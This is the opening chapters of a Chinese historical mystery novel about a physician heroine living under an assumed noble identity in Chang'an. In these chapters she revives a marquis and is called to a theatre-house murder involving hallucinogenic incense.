《鹤唳长安》 辛夷圣手 景德三十九年,冬月初十夜。 鹅毛大雪洋洋洒洒下了三日,整个长安城都笼罩在一片冰天雪地里。 亥时过半,平康坊薛府内一片灯烛荧煌,十多个婢女小厮挤在临风阁外,从半掩的厅门瞧里头动静。 “世子爷,你父亲身份尊贵,他的病我知道,若我女儿救不成,岂非成了我们薛氏的罪过?我看你还是赶紧去找太医,莫要耽误。” 薛琦宽面阔额,身形富态,着一袭石青色团花纹直裰,一脸无可奈何地看着眼前的宁远侯世子。 这一切,还要从两日前说起—— 薛氏大小姐薛泠被拐十七年,终于在两日前被她亲舅舅一家送回了薛府,而令整个长安城震惊的是,他们的大小姐,竟是江湖上赫赫有名的神医——辛夷圣手。 三年前,武林大派烈刀门门主郑千山受人毒害生死一线,烈刀门门众遍寻名医救治无果,眼睁睁看着郑千山死于非命,七日后,就在烈刀门上下打算下葬郑千山时,一位碧裙紫钗的年轻姑娘自请救人,一天一夜后,郑千山奇迹般活了过来。 郑千山死而复生,这位姑娘却不留姓名不求回报,飘然而去。 人们唯一记得的,便是她生得姝色无双,碧裙之上绣满辛夷花纹,发髻上也簪着紫辛夷钗,于是这“辛夷圣手”之名便流传了开,后来她常在江湖各处行医,所经病患无不药到病除,久而久之,美名愈盛。 长安高门世家对辛夷圣手早有耳闻,薛泠归家第二日,便有五家登门求医,六家邀请过府,薛泠忙不过来,遂定下两条规矩:非死症不出诊,酉时后不接诊。 可就在片刻前,宁远侯世子孟珩,将他那突发恶疾的亲爹抬进了薛府,虽不符规矩,可人都抬来了,你薛大小姐难道还能见死不救? 孟珩往门口张望着,又求情道:“薛大人,我找了,父亲病发后,我立刻找了天水街的张太医,可他给父亲请脉后,直言让我们另请高明……” 薛琦倒吸一口凉气,姨娘姚氏和三小姐薛沁站在一旁,也吓得瞠目。 姚氏忙不迭劝,“世子爷,那您更不能把侯爷送我们府上了,张太医在太医院任职多年,医术高绝,他都无能为力,更何况我们大小姐?若出了事,您岂非陷薛氏于不义?” 姚氏并非寻常妾室,当年薛泠被拐,薛夫人简娴大病一场后深居养病,这十多年来,薛府内院皆由姚氏代掌,再加上她早年为薛琦生下了一对冰雪聪明的龙凤胎,其地位早与侧夫人无异。 这二人意思分明,但孟珩为了救父亲性命,哪能轻易放弃? “大小姐来了——” 孟珩急红了眼,此时容色一振,他等的人终于出现了! 他快步迎去门口,一眼瞧见一位身姿挺秀的年轻姑娘冒雪而来,她着浅碧色辛夷缠枝纹翠烟衫,曲水云纹月白湘裙,纷扬絮雪里,似一枝葳蕤春兰,冰肌玉貌,神清骨秀,她脚步极快,雪沫卷起裙袂翩飞,走的近了,方见她黛眉微蹙,天星似的眼眸透着焦急,仿佛知道病患危在旦夕,刹那间,孟珩只想到“慈悲心肠”四字。 他跨出一步,“求姑娘救命——” 她未来得及撑伞,一路行来乌发肩头皆落一层霜色,先对上他的眼睛,又望向堂内,“怎么回事?” 她抬步进门,孟珩忙跟上,“今日亥时初,我父亲忽然浑身抽搐栽倒于地,当时呕出白沫,口不能言,半刻钟后意识全无,我请了太医,但太医直言无救,我想着再去太医院找别人,多半也只会白白耽误工夫,想到大小姐是大名鼎鼎的辛夷圣手,便来冒险一试,求您救救我父亲……” 他抬了一张罗汉榻来,此刻榻上的宁远侯孟谡口溢白沫,面如死灰,气息也几乎断绝,任是谁都看得出,他已命悬一线。 她走到孟谡身边,为他请脉。 见她如此,屋内几人皆皱眉头,薛琦道:“阿泠,他此前请的张太医年过花甲,医术十分精湛,连老太医都没法子,你还是莫要插手。” 薛琦与长女失散十七年,虽血脉相连,但如今她归家才两日,父女二人还颇为疏离,他乐意有个神医女儿,却不想因为她的医术给薛氏带来麻烦。 一旁薛沁也道:“长姐,你是薛氏大小姐,本不该把府里变作你的医馆,如今太医都无可奈何,你年纪轻轻何必趟这个浑水?” 薛沁是带着几分怨念的,自记事起,她便是薛氏大房独女,再加上内院一直由姚氏掌管,她便似正经嫡长女一般,后来除了简家上门时提起薛泠,又有几人记得她还有个姐姐? 可薛泠竟被找到了! 她不仅有个官拜三品的舅舅,还是江湖上颇有名望的神医,回府两日,各家病患慕名而来,硬生生将府上赏景的雅阁变作了行医问药之地,她辛夷圣手的名声倒是大涨,可自己住了十八年的家,却因她乌烟瘴气。 她自己容色尚佳,自小便有才女之名,亲哥哥薛湛,更是名动长安的少年才子,兄妹二人又一胎同胞,本是长安城一段佳话,可眼下提起薛氏,人人都只知姿容与医术皆无双的大小姐,哪里还记得她们兄妹? 但即便如此,她可不信,这位长姐能治太医都无计可施的大厥之症。 父女二人连声相劝,可请脉之人却纹丝不动,姚氏柔声道:“大小姐,你定的规矩可是酉时之后不接诊,你可别自己坏了规矩。” 她不做应答,很快对孟珩道:“你父亲顽疾已久,今日气乱而逆,引发癫疾大厥,其脉象小而坚疾,为阳见阴脉,已是六腑闭塞,属死脉。” “死脉”二字一出,孟珩面如白纸,侯府仆从们也纷纷红了眼,薛琦几人互看一眼,却是松了口气,都诊出死脉了,定不会自找麻烦了。 然而,下一刻所闻之言,令他们目瞪口呆。 只听碧裙姑娘一脸理所当然道:“我虽非死症不出诊,但眼下是死脉,那我正好也能治了……” 其实她何尝不懂薛琦三人之心? 但她不怕薛氏乌烟瘴气,更不担心救不了宁远侯会给薛氏带来麻烦,一来,她对自己的医术自信,二来,她压根不怕给薛氏带来麻烦。 因为,她根本不是薛泠。 她本名姜离,五年前,也算半个长安世家贵女,可后来遭逢大变流落江湖,今岁想有个便利的身份回长安,盘算了一圈,打起了薛氏的主意。 九月初,她在颍州“被找到”,后被接到舅舅简伯承任职的许州,期间消息送回长安,薛琦无法走脱,派了四弟薛瑀前来接应。 薛氏祖上出过四位皇后,曾是五大世家之首,后来虽没落,但自从十五年前薛琦的亲妹妹薛兰时入东宫为太子妃,薛氏一族荣华复萌。 薛氏要认回大小姐,无论她江湖名头多响都不可儿戏,经半月调查,才启程回长安,一场宗族认亲礼后,她施施然做起了薛氏大小姐。 薛府之内,老太爷健在,寻常修道避世,往下一辈则只有两房。 长房薛琦三十九岁,任御史中丞,乃监察百官的天子近臣,他除长女外,还有两子一女,十八岁的薛沁近在眼前,其同胞哥哥薛湛,则在白鹭山书院求学,因明岁入科场,日前参加完她的认亲礼便返回了书院苦学,另一十五岁的薛澈,因母亲柳姨娘不受宠,他也半点不是读书人的料子,在长房并无存在感。四房的薛瑀乃是庶出,今岁三十一,在工部屯田司领着闲差,膝下只有一六岁嫡子薛灏。 回府两日,她还算游刃有余。 “小锦,针囊——” 在薛琦恼怒的目光中,姜离唤婢女相助。 薛琦咬牙:“阿泠——” 姚氏无奈:“大小姐——” 薛沁欲言又止一瞬,只在眼底生出两分看好戏之色,但转念一想,又有些担心自己会不会被牵累…… “父亲,我是医家,不能见死不救。” 姜离平静的说完,接过针囊,又看向孟珩,“我要冒险施针,你可愿意?” 孟珩如今只拿她当做救苦救难的活菩萨,自然不住点头,“姑娘想如何治,便如何治,我父亲的性命,我全权拜托姑娘!” 姜离便吩咐:“小锦,准备活穴。” “本神,天冲,外丘——” 姜离语声清越干脆,每说一处,神容娇憨的婢女小锦便以指节按拨穴位,紧接着,姜离自针囊取寸长银针,缓而轻地灸刺…… “百会,后顶——” “玉枕,大杼,金门,承筋,合阳——” “尺泽,阳溪——” 一针又一针,不到一炷香的功夫,宁远侯头身之上扎了十多针,莫说孟珩,便是薛琦几人都看的心惊胆战。 见姜离没有停下的打算,薛琦忍不住道:“阿泠,你慎重……” 姜离取针的手一顿,见孟珩也满脸担心,便解释道:“本神、天冲、外丘可解郁,百会、后顶为清脑,玉枕、大杼五穴则通阳而柔筋,尺泽、阳溪,是要调肺,你父亲已凶险至极,只有使六腑贯通,气至邪退,方可救命。” 孟珩听得云里雾里,但他本就信任姜离,也无需听懂,“我相信姑娘,请姑娘按你的意愿医治父亲。” 姜离继续道:“通谷、曲骨——” “承灵、当阳——” 又下四针,姜离终于停手。 她仔细观察宁远侯的面色与气息,不时调整银针深浅,孟珩和侯府下人们满含期待地注视着宁远侯,但如此过了一刻钟,宁远侯仍无醒来的迹象。 仆从们面色越来越焦灼,姚氏轻声道:“寻常针灸,不是不超过一刻钟吗?” 薛沁掩唇道:“难道已经无救了?” 孟珩到底不懂,掌心生出一片冷汗,看看父亲,再看看姜离,如此来回,偏生姜离头也不抬,只专注地摆弄银针。 薛琦面黑如锅底…… 薛氏找回神医大小姐本是喜事,可倘若大小姐回来第三日就治死了宁远侯,那薛氏便是天大的笑话,但如今针都下了,还能如何? 姚氏也长吁短叹,宁远侯若死在薛府,那她们可就大祸临头了! 侯府老管家忍不住道:“世子,这——” 孟珩撑着不问,心却如油煎。 他细细打量姜离,想从她如画的眉眼看出几分端倪,可半晌,只将她那双极清亮灵动的桃花眸印在眼底,姜离紧着银针,额际也漫出一层薄汗,再加上她双颊过分瘦削苍白,倒令人怀疑她也身体抱恙。 但纤秀如她,一双素手又稳又准,决定救人后,又是那般坚韧不移,此刻即便一言未发,也格外有种安定人心的力量。 孟珩心境奇异地平和了几分。 也就在此时,一道低不可闻的“嗬嗬”声在堂中响起,众人一愣,待看向罗汉榻,皆不可置信地瞪大了眼瞳。 只见宁远侯指尖微颤着,已睁开了眸子! 孟珩喜道:“父亲醒了!” 侯府老管家也上前来,“醒了醒了,侯爷真的醒了!” 他喜极而泣,对着姜离跪了下来,“大小姐真把侯爷救回来了,此等大恩大德,小人们没齿难忘——” 他一跪,其他仆从也乌压压跪倒。 薛琦见状微松了一口气,姚氏和薛沁则不知是该喜还是该悲。 小锦上前来为姜离擦汗,她看一眼跪地众人,开始一处处收针,“你们起来吧,侯爷性命之忧已解,但近来几日,万不可大喜大怒,用药按我的方子,小锦——” 小锦应是,取过纸笔等姜离吩咐。 姜离道:“独活、麻黄二钱,芎䓖、防风、当归、葛根、生姜、桂心各一钱,茯苓、附子、甘草、细辛各一钱半,将药材切碎,三碗熬一碗,若明日你父亲胸中虚乏,口不能言,再加大枣十二枚,若他进食后有干呕之状,再加附子一钱。” 小锦细细写好,检查一遍后递给孟珩,孟珩仔细看过,面上感激愈盛,“薛姑娘,此等救命之恩,实在是无以为报,诊金——” 姜离收针入囊,“死脉不收诊金,你且将人抬回去速速用药吧。” 孟珩不解,“这怎么行?” 姜离幽然道:“这是我的规矩。” 孟珩犹豫片刻,容色一定,“好,我守姑娘的规矩,但来日我自会报恩!那我便先告辞归家了。” 他拱手做拜,又吩咐下人抬父亲,离开时,并未理会薛琦几人。 薛琦轻嘶一声,面上有些挂不住,待人走完,又对姜离露出几分尴尬之笑,“为父竟是低估阿泠的医术了,有你这般女儿,实在是薛氏之福。” 姜离倒不介怀,给个台阶道:“父亲只这两日看我行医,自然不知我医术深浅,往后信我便是,我轻易不做无把握之事。” 眼前之人碧裙乌发,清艳绝俗,但分明也就是个二十岁的小姑娘,薛琦活了大半辈子,浸淫官场多年,却有些看不透她,他笑道:“不愧是江湖上长大的孩子,多了历练,心性自不寻常,沁儿,你可要好好学学你姐姐。” 薛沁见姜离又建一功本就不快,再一听薛琦所言,只觉恶气憋在心口,差点眼前一黑,却也只能咬牙道,“是,女儿知道了……” 外头天色已晚,薛琦有意找补,“好孩子,你存济世行医之心乃是大功德,对你对薛氏都好,父亲自也乐见,今日天色晚了,快早些回去歇下。” 姜离应好,与薛琦一同出了临风阁。 薛氏祖上尊荣极盛,府邸所在的平康坊与皇城咫尺相望,离东市也不过两炷香脚程,风雪未歇,气象森宏的亭台楼榭一片银装素裹。 她住在东北方向的盈月楼,要回去还要和几人同行一段,然而刚走到前院,府门方向忽然传来一声大喊—— “老爷,不好了!” 众人一惊,抬眼看去,便见一个年轻小厮连滚带爬地跑进了院子。 “老爷!公子出事了——” 薛琦认出了来人,“知砚?!你不是和湛儿回书院了吗?” 知砚是薛湛的贴身小厮,薛湛昨日一早离家,主仆二人只需半日便可返回白鹭山书院,眼下才过了一天,知砚却怎地跑回来了? 如此风雪寒天,知砚满头大汗,神色惊恐,几步跪倒在中庭,“老爷,姨娘,公子没回书院,他、他惹上人命官司了……” 众人仿佛听到了晴天霹雳。 姜离心弦也随之一紧。 知砚哭腔道:“公子去了登仙极乐楼,可半个时辰前,去看幻术的段家三公子死在了楼里,小人去找公子时,便见衙门将公子和其他几位同行的都拿住了,说、说许是我们公子杀了人!老爷,您快去救救公子啊!” 薛琦问:“段三公子,你是说段严?!” 姚氏大骇,“老爷,段三公子虽是国公府二房所出,但……” 段国公府亦是长安五大世家之列,当年段氏大小姐嫁与肃王李昀为妃,因肃王与太子李霂不睦,段氏与薛氏也早有嫌隙,薛琦冷声道:“这个时候已无需论这些了,不管死的是谁,我都不信湛儿会杀人!” 他面上说的斩钉截铁,背脊却已冷汗淋漓,薛湛是薛家的指望,若薛湛惹了命案,他自毁了前程不说,自己这监察百官、御前直谏的御史中丞之位也难保,届时太子妃也必受牵连…… 薛琦强迫自己冷静下来,正要吩咐备车马,又听见府门外响起一阵吵嚷声,下一刻,七八个乌衣武卫冲了进来。 知砚惊道:“老爷,是段家武卫。” 薛琦也认了出来,他只当段氏是为段严之死闯府拿人,当下大怒,“你们好大的胆子,如今一切还无定论,你们竟敢——” “事从紧急,还望薛大人恕罪。” 薛琦话未说完,领头之人敷衍地打断了他,他目光凶狠地扫视一圈,忽而定定看向了姜离,确认一瞬后,他快步上前。 薛琦吓得往后退,薛氏护卫也忙上前拦人,可毫无预兆的,那人扑通一声跪了下来—— “求姑娘救我们公子性命!” 薛琦几人一愕,小锦上前半步道:“我们姑娘没有半夜出诊的规矩,并且你们公子不是已经——” 姜离抬手制止她,“我去。” 小锦不明所以,低声道:“姑娘,可知砚不是说人已经死了……” 姜离自听见“登仙极乐楼”几字,神色便莫测起来,她狭着秀眸,“若还有一线生机,我便救人,若人真死透了……” 她幽幽道:“我还能帮忙验尸嘛。” 冤家路窄 子时已过,薛氏的马车在风雪漭漭的长街上一路疾驰。 车厢里,薛琦面色肃重,姜离与小锦倒还算泰然。 知砚缩在车门边,瑟瑟道:“公子昨日没有回书院,也不知怎么,他带着小人歇在了东市三福客栈,得知仙楼今夜有幻术,便说再等一日归府,今天下午,他自己去了仙楼,客栈离得近,亥时过半那边生乱,小人才知出了事。” 知砚低着头,显然也知薛湛理亏,“小人赶去之时,衙差已将仙楼围住,小人都未见着公子,只听出来的客人说段公子死了,被扣下的都是杀人凶手。” 薛琦声一沉:“和段三同去的都有谁?” 知砚忙道:“小人问清楚了,有巡防营徐将军家的次子徐令则,吏部员外郎家的公子周桢,还有鸿胪寺卿家的公子赵一铭,义阳郡王家的世子李同尘,还有……哦还有兵部侍郎家的公子虞梓谦……” 姜离眼皮一跳,心弦紧绷起来。 景德二十六年,七岁的她流落至蒲州普救寺济病坊,后来洛河决堤,她与寺里的师父一同下山救灾,就在那时,她遇到了虞清苓与魏阶。 广安伯魏氏世代医道传家,魏阶早早接任家主之位,为太医院年轻一辈翘楚,虞清苓出自长安虞氏旁支,拜了江湖医家为师,尤擅妇人病。她仰慕魏阶之名,后得偿所愿,夫妻二人伉俪情深,仁心仁术,在长安城有“济世菩萨”的美称。 后来姜离被虞清苓收为徒弟,带回伯府,便见到了魏旸和虞梓谦兄妹。 魏旸为虞清苓独子,年长她三岁,幼时一场重病伤了脑袋,神智时好时坏,而虞氏兄妹母亲早逝,常被外出练兵的虞槐安送到堂姑姑府中小住,见她带了个年纪相仿的女徒弟回来,妹妹虞梓桐闹了好几日脾气…… 五年前魏氏举家获罪,虞槐安因替魏氏求情触怒天颜,被贬襄州,直到两年前襄州生民乱,虞槐安血战平乱立了大功,才得以回长安官复原职。 段严之死非同小可,虞梓谦竟也在场。 若片刻前,姜离还是隔岸观火之心,那此刻,她也恨不得立刻知道今夜到底发生了何事。 见她一脸沉重,薛琦还以为这样多官家子弟令她紧张,他安抚道:“阿泠,此事与你无关,是他们求你前去,你别怕。” 不等姜离答话,他又迟疑道:“泠儿,你当真能把死人救活吗?” 姜离道:“要看死因为何,还要看死了多久。” 薛琦自是不懂,只冷声道:“那段家老三段严,在长安城多有纨绔之名,此番若真死在那风月之地,也不叫人意外,只要别把你弟弟牵累其中便是。” 马车辚辚而行,风雪呼号间,人声渐沸。大周早年行宵禁,后来天下承平,宵禁便被废除,东西市到了夜间,常常喧闹至天明。 姜离回长安三日,还未出府逛过,此时听见动静,掀起帘络朝外探看。 马车已入东市,目之所及,繁华未因寒雪失色,青楼画阁布柳陌花衢,绣户高门纳四海奇珍,耀眼斑斓中,唯不远处的登仙极乐楼最为夺目。 其主楼高五重,雕甍画拱,朱栏彩槛,曲尺朵楼以廊桥相连,宛若飞虹凌空,彩旗绣旌金翠相招,似玉宇琼楼。 姜离仿佛被光芒所刺,清凌凌的眼瞳狠一瑟缩。 登仙极乐楼建于景德三年,是大周巨富广陵苏氏的产业,涵青楼酒食、杂戏伎伶诸多享乐,有诗云“登仙醉慕庄生蝶,谁梦极乐在长安”,便是道此楼是整个长安城醉生梦死的销金窟。 但五年前,登仙极乐楼在一场烧了三天三夜的大火中付之一炬,广陵苏氏耗费巨资重建,到今岁仲春方得再开,甫一开张,依然夜夜笙歌,门庭若市。 马车停下时,仙楼灯火通明,箫鼓丝竹消歇,正门外雪道泥泞,车辙杂乱,七八两马车错落停在道旁,数十个着公服的衙差镇守门口,姜离在“登仙极乐”四字匾额前站定,一时生出些恍若隔世之感。 有段氏武卫在前带路,几人畅通无阻进了门,锦绣华彩的大堂内衙差林立,数十伶人小厮面色惶恐地侯等着。 她目光一掠而过,直跟着武卫行上三楼,又左转,与武卫冲进了西面一处锦绣奢华的厅阁中。 “二老爷!辛夷圣手来了——” 随着武卫一声大喝,姜离刚踏入厅内,便有十多道目光落了过来,她眼风扫过,背脊阵阵发僵,在场之人多为眼熟,而虞槐安和虞梓桐父女早已到了。 她定神问:“人在何处?” 巨大的仕女屏风后走出个须发皆白的老者,正是国公府二老爷段康,见姜离如此年轻,他微微一愣,又忙往身后指去,“在那里,请姑娘救命——” 姜离一边走一边解下斗篷,小锦跟在身后接住,待走到榻边,便见榻上的年轻男人已被鲜血染透,他面色惨白,口唇溢血,身上墨色袍衫大敞,露出胸口两个初凝的血洞,而从榻上血迹来看,其后腰也有伤,姜离上前,探脉触颈,细细查看。 榻首站着个满脸泪痕的华服夫人,正是段严之母宋氏,看到姜离,宋氏晦暗眼底亮出明光,哀求道:“薛姑娘,你是辛夷圣手,你一定要救他,若姑娘救回严儿,我们段家结草衔环相报——” 外间的人涌到屏风口,都期待大名鼎鼎的辛夷圣手起死回生。 这时,薛琦也进了厅堂,众人照面,皆苦眉愁脸。 他一眼看到了长安令齐膺,忙上前来道:“齐大人,今夜这到底是怎么回事,说我家湛儿也在此,他闯了什么祸事不成——” 齐膺年过不惑,鬓边已现银白,他也未想到这样一个雪夜,会生如此棘手的案子。 他无奈道:“今日,段家老三段严,与徐将军家的徐令则,周员外郎家的公子周桢,赵寺卿家的赵一铭,虞侍郎家的虞梓谦,还有义阳郡王世子李同尘,一行六人来此观幻术,后遇到薛湛,他们七人一同到了此处天字一号雅间。” “这里的幻术是在露台凭栏而观,他们先看了神仙索和黄龙变,看到第三出目莲救母时,他们却在楼上看到段严出现在演台上——” “目莲救母讲的是目莲入地狱大战罗刹恶鬼,将母亲迎回人间,那演台中央,正好有两个会动的罗刹人偶,本是术士表演幻术的死物,可那时,那罗刹竟真的活了,他们看到段严,将他当做入地狱的目莲刺杀——” “众目睽睽之下,段严被刺四刀,惨叫着倒了下去,起初,楼上人以为这也是幻术的一环,可等他们笑闹完了回头一看,竟发现段严当真不见了,觉出不对,几人踉踉跄跄奔下楼去,便见段严真被刺死在地……” 薛琦听得倒抽一口凉气,“是罗刹杀人?” 齐膺正要摇头,屏风之后传来一声悲哭,众人回头去看,便见宋氏定定地望着姜离,而姜离正接过小锦递上来的帕子擦手上血迹。 宋氏道:“姑娘,你救他啊,你这是做什么……” 姜离漠漠地站起身来,“请夫人节哀,段公子已殒命,无生还之机。” 宋氏瞪大眼瞳,她看看姜离,再看看满身血污的段严,不愿相信,“怎么会呢,你能救,你一定能救,他才断气半个时辰啊——” 像濒死之人抓住最后一根救命稻草,她猛地跪了下来,“姑娘,死了七日的人你都能救,我儿身上还是热的,你再想想办法,什么灵丹妙药我们都能去找,求求你姑娘——” 见她还要磕头,姜离连忙去扶,“夫人请起,非我不救,是段公子脏腑破裂,失血过多,他已死亡一个时辰,心脉尽绝,无复生可能。” 宋氏仍不信,拉扯间,忽然看到屏风口的薛琦。 像是想到什么,她神色陡变,狠狠掐住姜离,“你是薛氏女,你怕救活严儿,严儿便可指认凶手,莫不是薛湛害了严儿?你是为了你弟弟!” 姜离本好意相扶,又吃痛又遭责,不多的好意立时散了。 她手腕一旋,像无力支撑似的趔趄一退,摆脱桎梏不说,宋氏未料她如此,“咚”的一声扑倒在地,一时哭的更凶,“你、你怎配为医家?!” “医家并非神仙,夫人何必为难?” 忽然,屏风外一道清朗的声音响了起来—— 姜离正揉着腕子,听到此言,心腔剧烈一跳,缓缓地转过了身来。 屏风口的人散开,一人玉冠博带走了进来,他生的剑眉凤目,鬓若刀裁,一袭玉白银竹纹直襟大氅,配上他端严敏锐的神容,愈发令他孤清独秀,似兰芝桂树,与满地血污格格不入。 姜离认得来人,来人却不认得她,目光从她面上腕上一扫而过,又面无表情地看向还瘫在地上的宋氏,宋氏正嚎啕,被他威势一慑,哭声都哑了下来。 齐膺上前劝道:“事已至此,还请夫人节哀,本官与裴少卿携京畿与大理寺之力,必早日查明真相,令段公子瞑目。” 满长安城,无人不识大理寺少卿裴晏。 他出自“一门五宰相”的裴国公府,父亲是已故安南节度使裴溯,母亲是高阳郡主李菡,他身上流着宗室血脉,十岁写名篇《逍遥赋》,十一岁在宣政殿上,以一己之力舌战三位南齐大儒,景德帝赞他文采与风姿,亲赐表字“鹤臣”,更早年,他还拜入江湖第一大派凌霄剑宗习武,是宗主谢尧最得意的关门弟子。 这般文武双绝的天纵英才,不仅是长安贵女们梦寐以求的夫婿,还是官家子弟们争相崇拜的典范,他十九岁入朝,短短四年,已成为景德帝最倚重的能臣之一,将来入阁拜相,延续裴氏荣光,几乎是板上钉钉之事。 姜离没想到,会在这里遇见裴晏。 五年已过,此人竟半分未变,还是喜着白袍,还是俨乎其然,无论何时都不苟言笑,无论何地,都端着一副无情无欲、严正君子的模样…… 姜离撇过视线,暗骂一句冤家路窄! 裴晏坐镇,段康也清醒了些,他重重叹了口气,也劝慰宋氏,“行了,来了四个大夫都说无救,又何必为难薛姑娘,这就是严儿的命了……” 姜离是宋氏最后的希望,她哪能甘休,“可人人都说辛夷圣手救活了断气七日的烈刀门郑千山,这难道还有假吗?为什么不能救我儿!” 丧子之痛,犹如摧心切肤,姜离到底不忍,“夫人,救郑门主之事我在江湖上早有解释,奈何世人只喜猎奇夸张之说,实情无人相传。” 她如此说,自叫人好奇这桩公案有何隐情。 姜离道:“人之脏腑经脉大有乾坤,延医用药也需抽丝剥茧循证求真。郑门主江湖声望极高,若为人毒害,天下名医都会奋力救他,是以,害他的凶手特意用了障眼法。前两重障眼法为两种奇毒,前去治病的医家用尽法子解了毒,但郑门主未醒来不说,反断了气息,因谁也未想到,凶手还有第三手——” “那凶手混在前来问诊的医家中,借看诊之机,以微末毒针封郑门主大羽、承光、风府,神堂、魄户、魂门六穴,令其心脉衰微入假死之态。众人只以为郑门主是毒未净而亡,实则是未发现那封穴针,而郑门主有深厚内力护体,这才险险捱过了七日。” 此事生在江湖,后在长安城流传,却无人想到内情这般曲折。 姜离又道:“非我能起死回生,是郑门主尚有余地,段公子今日被凶手刺了四刀,两刀刺心、两刀刺肾,可谓刀刀毙命,神仙难救。” 姜离之言如同盖棺定论,宋氏瘫倒在婢女怀中,掩面悲泣,“到底是谁如此痛恨我儿,老爷,难道……难道真是罗刹索命吗……” 裴晏否定道:“子不语怪力乱神——” “术士杨慈和所有操纵机关之人都已拿住,他们交代,根本无‘幻术’,一切皆是障眼之法,不过他们的障眼法更高明,那罗刹虽内有机关,手臂可动,但动力极小,活人就算被刺,也绝对刺不出这等伤口,更不可能刚好刺中致命之处。” 段康愤然道:“那定是有人搞鬼!今日与严儿同行之人,皆不可放过!” 薛琦无奈道:“段老爷,段严殒命的确令人惋惜,但也不能是其他几个孩子害人吧,段严死的时候,他们不是都在楼上看吗?” 薛琦说完,又看向裴晏,“裴少卿,你断案素来严明公允,从无错案冤案,这般明显的事实摆在这里,可不能冤枉了无辜之人……” 薛琦掌御史台,与大理寺多有交集不说,太子妃兄长的身份也不同寻常官吏。 然而面对他,裴晏也不假辞色,“话虽如此,但分开问证后,他六人供词多难匹对,当时他们皆吸入迷香,无人能保证自己所见所闻为真,且今夜幻术开始后,只他们六人与段严在此,亦只有他们有机会行凶。” 薛琦被说的哑口无言,屋内其他人知晓这位“玉面判官”的名声,也不敢出言反驳求情,恍惚间,姜离好像回到了白鹭山书院之时—— 当今天下民风开化,女子虽不能入朝为官,却可入私学受教,彼时魏旸之病多有好转,虞清苓很想让儿子似普通士子那般进学,于是求了荀山先生,将她与魏旸一并送入了白鹭山书院,那时的裴晏年仅十六,同在书院之中。 只不过,他们在书院是为求学,裴晏却是被荀山先生留下替他讲学,那两年间,姜离记不清魏旸在他手中吃了多少苦,而每一次她替魏旸作弊,都逃不过他的眼睛。 那时他还是皇五子伴读,甚至还未领一官半职,就被景德帝钦点入翰林院编书,在小小的白鹭山书院,他的威信比荀山先生有过之无不及。 没有人敢与他叫板,除了姜离。 时移世易,他还是那个令人望而生畏的天之骄子。 “敢问少卿大人,是何迷香?” 冷不防响起的声音打破平静,众人看过去,竟是姜离从容相问,她肤色苍白,如画的眉眼,透着一股子冰雪之姿的冷静悠然,若说裴晏是寒松覆雪,独绝不可攀折,那姜离便是笔挺柔韧的竹,但令无翦伐,会见拂云长。 辛夷圣手来救人自无可指摘,但她一介江湖女子,就算是薛家的大小姐,又怎好问案情?见裴晏剑眉轻蹙,在场众人无不替她捏一把汗。 然而裴晏道:“登仙极乐楼的幻术以奇诡著称,除障眼法高明外,他们还会在雅间中放致幻香,客人不知内情,只以为他们的幻术当真神乎其技,适才掌柜交代他们的香里加了曼陀罗,药效颇微,不伤人身,也极难发觉。” 随着他话音落定,一个大理寺衙差快步而入,“少卿大人,李世子说他那屋子里的灯烛尽发着血色红光,他害怕,他要出来,您看——” 姜离拧眉,“灯烛发红光?” 她先发问,那衙差不知她是谁,愣愣道:“不错,李世子中了迷香现在都未醒神,硬说灯烛的光是血红的。” 姜离微微眯眸,很快摇头道:“不,他们中的不是迷香——” 致幻之毒 “我们来时,掌柜苏妙仪已请了大夫救治段严,那时他们几个已清醒了不少,苏妙仪说那迷香药效甚微,只需多饮茶水便可,我们便未让大夫替他们几个看诊,可眼下都过了大半个时辰了,的确大有古怪……” 随着齐膺的话,姜离穿过帘幕,走入右厢,这暖阁与正厅一般阔达,北面一处置有精巧坐席的露台便为观幻术之处,露台凌空,前下方便是华丽的挑高演台。 此刻露台上座椅凌乱,茶点瓜果狼藉翻倒,地上亦有血污点点,可以想象一个时辰之前,露台上生了怎样的兵荒马乱…… 姜离鼻息轻动,刚靠近露台逡巡一圈,外头便响起一阵嘈杂脚步声,是衙差将所有分开问证的公子都请了过来。 姜离收回视线,跟其他人一并迎了出去。 人群中,她一眼看到了虞梓谦,他着麒麟纹窄袖玄袍,长眉峭鼻,比五年前更挺拔英武,但心知今日惹了祸事,他面上颇有几分消沉,虞槐安素来宽和,老神在在未说什么,虞梓桐脸皱作一团责备着,虞梓谦揉着额角,无奈地认了。 “父亲!长、长姐也来了?” 薛湛生的长脸宽额,文质清瘦,虽与薛沁是龙凤胎,但二人并不肖似。 他跟在几人最末,襟前袖口皆是血色,见姜离同来,很觉羞愧,他几步靠近道:“那会子大夫说段允慎无救了,也不知谁提了一嘴,说这几日辛夷圣手的大名不绝于耳,他们问我,我只好说长姐的确在看诊,段夫人便叫、叫人去,说定要把长姐请来……” 薛琦压着怒意低斥,“你还有脸说?你今日本该在书院,却怎么跑来此处?还惹上人命官司,你为何不回书院?” 薛一脸菜色不答话,姜离又一一朝其他几人看去。 赵一铭是父亲与兄长来接,周桢是叔父与婶婶,徐令则亦在跟父亲母亲诉苦,唯独李同尘身边只跟了个老管家,义阳郡王夫妻身在封地,他在长安素来无羁。 他着玉冠银衫,通身金玉配饰,贵气逼人,和其他几位相较,只有他身上并无血迹,姜离看到他时,他也正上上下下打量姜离,四目相对后,他惊讶道:“辛夷圣手?你真是那位江湖上的辛夷圣手?!” 此言引得其他几人侧目,姜离无奈应是,他便朝裴晏靠了过去。 李同尘年方二十,与裴晏算远房表亲,二人素有交情,他哀伤地瞄了一眼那隔开半个屋子的侍女屏风,低低问裴晏,“鹤臣,辛夷圣手也救不了允慎?” 允慎是段严表字,见裴晏点头,李同尘眼眶便又红了,“其实我也猜到了,他流了那么多血,怎么还活得下来呢?” 言毕他又委屈道:“鹤臣,按大理寺和、和京畿府衙的章程,我们何时能走?我们六个彼时在楼上,可为彼此作证,且、且允慎是被利器刺死,咱们习过武的都看的出来,你们也搜身了,我们可没有一个人携带兵刃的。” 裴晏道:“你们证词前后含糊,等解了迷香再议。” 众人再入暖阁,与段严尸体一屏风之隔,皆是惴惴,段康亦从屏风后走出,质疑的目光落在每个人身上。 这时衙差带着掌柜苏妙仪走了过来,她妆容浓丽,步态窈窕,虽有愁色,却并不慌乱,递上个锦盒道:“两位大人,我们用的所有香都在这里,只有少量的曼陀罗,绝不会伤身。” 齐膺接过锦盒,姜离将暖阁与露台上的香炉一一比对,末了点头,“是同一种香,含曼陀罗与苦艾草,再加沉檀,闻起来与普通香并无二致。” 